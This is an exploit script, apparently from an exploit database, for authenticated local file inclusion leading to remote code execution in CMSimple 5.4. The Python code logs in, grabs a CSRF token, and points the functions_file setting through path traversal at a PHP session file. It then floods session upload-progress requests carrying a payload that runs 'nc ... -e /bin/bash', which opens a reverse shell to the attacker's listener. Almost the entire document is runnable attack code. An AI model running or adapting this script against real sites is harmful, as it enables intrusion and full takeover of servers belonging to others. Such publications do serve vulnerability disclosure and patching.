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CMSimple 5.4 - Local file inclusion (LFI) to Remote code execution (RCE) (Authenticated)

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# Exploit Title: CMSimple 5.4 - Local file inclusion (LFI) to Remote code execution (RCE) (Authenticated)
# Date: 11/15/2021
# Exploit Author: S1lv3r
# Vendor Homepage: https://www.cmsimple.org/en/
# Software Link: https://www.cmsimple.org/en/
# Version:  CMSimple 5.4
# Tested on: CMSimple 5.4

# writeup:
# https://github.com/iiSiLvEr/CMSimple5.4-Vulnerabilities

#!/usr/bin/python3
import requests
import threading
import datetime
import sys
from bs4 import BeautifulSoup


x = datetime.datetime.now()
addSeconds = datetime.timedelta(0, 10)
Time = x + addSeconds

proxies = {"http": "http://127.0.0.1:8080","https": "https://127.0.0.1:8080",}
def Login():
	try:
		global Time
		s = requests.Session()
		headers= {"Content-Type": "application/x-www-form-urlencoded"}
		
		data = f'login=true&selected=Welcome_to_CMSimple_5&User={User}&passwd={Password}&submit=Login'

		response = s.post(RHOST, data=data, headers=headers, verify=False)#, proxies=proxies
		if response.cookies['passwd']:
			print("(+) Sucessfully Logged In With " + User + ":" + Password)

			cookies = response.cookies
			params = (('file', 'config'),('action', 'array'),)
			response = s.get(RHOST ,cookies=cookies ,params=params,verify=False)
			soup = BeautifulSoup(response.text, 'lxml')
			CsrfValue = soup.find('input',attrs = {'name':'csrf_token'})['value']
			print("(+) Get CSRF Token  : [ " + CsrfValue + " ]")
			data = f'csrf_token={CsrfValue}&functions_file=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fvar%2Flib%2Fphp%2Fsessions%2Fsess_S1lv3r&form=array&file=config&action=save'
			response = s.post(RHOST, headers=headers, cookies=cookies, data=data, verify=False)
			print("(+) Changing Functions file Done  ")
			print("(+) Check Your nc listner on " + LPORT)
	except Exception as error:
		print("Error, Exiting;( ")
		print(error)
		pass
def fuzz():
	while True:
		try:
			sessionName = "S1lv3r"
			cookies = {'PHPSESSID': sessionName}
			files = {'PHP_SESSION_UPLOAD_PROGRESS':(None,
				'<?php passthru("nc '+ LHOST +' '+ LPORT + ' -e /bin/bash");?>'),
				'file': ('Anything', 'S1lv3r'*100, 'application/octet-stream')}
			x = requests.post(RHOST, files=files, cookies=cookies, verify=False)#, proxies=proxies
		except Exception as error:
			print(error)
			exit()
def main():
	print("\n(+) CMSimple LFI to RCE \n")
	Login()
	threads = []
	for _ in range(20):
		t = threading.Thread(target=fuzz)
		t.start()
		threads.append(t)
	for thread in threads:
		thread.join

if __name__ == "__main__":

    if len(sys.argv) <= 5:
        print("\n(-) Usage: {} <RHOST> <LHOST> <LPORT> <USER> <PASS>".format(sys.argv[0]))
        print("(-) eg: {} https://xyz.xyz 192.168.1.15 1337 ".format(sys.argv[0]))
        print("\n(=) SiLvEr \n")
        exit()  
    else:
    	RHOST = sys.argv[1]
    	LHOST = sys.argv[2]
    	LPORT = sys.argv[3]
    	User =  sys.argv[4]
    	Password = sys.argv[5]
    	main()
            
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